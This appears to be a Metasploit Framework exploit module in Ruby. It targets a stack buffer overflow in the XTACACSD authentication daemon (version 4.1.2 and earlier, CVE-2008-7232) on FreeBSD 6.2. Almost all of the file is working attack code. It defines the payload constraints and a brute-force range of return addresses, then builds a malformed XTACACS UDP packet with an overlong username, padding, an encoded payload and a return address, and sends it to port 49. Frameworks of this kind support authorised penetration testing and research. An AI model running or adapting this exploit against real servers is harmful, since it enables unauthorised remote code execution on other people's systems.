metasploit-framework/modules/exploits/freebsd/tacacs/xtacacsd_report.rb

84 lines
2.4 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'XTACACSD report() Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
sending a specially crafted XTACACS packet with an overly long
username, an attacker may be able to execute arbitrary code.
},
'Author' => 'MC',
'References' =>
[
['CVE', '2008-7232'],
['OSVDB', '58140'],
['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
],
'Payload' =>
{
'Space' => 175,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x83\xec\x7f",
'DisableNops' => 'True',
},
'Platform' => 'bsd',
'Arch' => ARCH_X86,
'Targets' =>
[
['FreeBSD 6.2-Release Bruteforce',
{'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbfea00 },
'Stop' => { 'Ret' => 0xbfbfef00 },
'Step' => 24,
}
},
],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 8 2008'))
register_options([Opt::RPORT(49)], self.class)
end
def brute_exploit(address)
connect_udp
sploit = "\x80" # Version
sploit << "\x05" # Type: Connect
sploit << "\xff\xff" # Nonce
sploit << "\xff" # Username length
sploit << "\x00" # Password length
sploit << "\x00" # Response
sploit << "\x00" # Reason
sploit << "\xff\xff\xff\xff" # Result 1
sploit << "\xff\xff\xff\xff" # Destination address
sploit << "\xff\xff" # Destination port
sploit << "\xff\xff" # Line
sploit << "\x00\x00\x00\x00" # Result 2
sploit << "\x00\x00" # Result 3
sploit << make_nops(238 - payload.encoded.length)
sploit << payload.encoded + [address['Ret']].pack('V')
print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
udp_sock.put(sploit)
disconnect_udp
end
end